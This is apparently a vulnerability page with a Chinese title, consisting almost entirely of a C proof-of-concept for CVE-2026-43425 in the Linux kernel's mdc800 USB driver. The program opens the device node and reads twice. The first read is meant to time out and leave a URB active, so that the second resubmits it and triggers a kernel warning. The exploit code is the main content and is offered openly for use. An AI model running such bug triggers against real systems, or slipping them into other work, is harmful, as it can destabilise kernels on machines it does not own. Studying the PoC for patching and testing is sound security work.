CVE-2026-43425 Linux内核mdc800驱动URB超时漏洞

/* * PoC for CVE-2026-43425 * This script attempts to trigger the URB resubmission bug. * Requires access to the specific device node /dev/usb/mdc800. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define DEVICE_PATH "/dev/usb/mdc800" // Hypothetical path, may vary int main() { int fd; char buffer[4096]; ssize_t bytes_read; printf("[+] Opening device %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Initiating first read (expecting timeout)...\n"); // Attempt to read. If the device is unresponsive or simulated to hang, // the driver timeout will trigger, leaving the URB active. bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { perror("[!] First read failed (timeout expected)"); } printf("[+] Initiating second read to trigger active URB resubmission...\n"); // This read tries to submit the same URB which is still active. bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { perror("[!] Second read failed"); } printf("[+] Check dmesg for 'URB submitted while active' warning.\n"); close(fd); return 0; }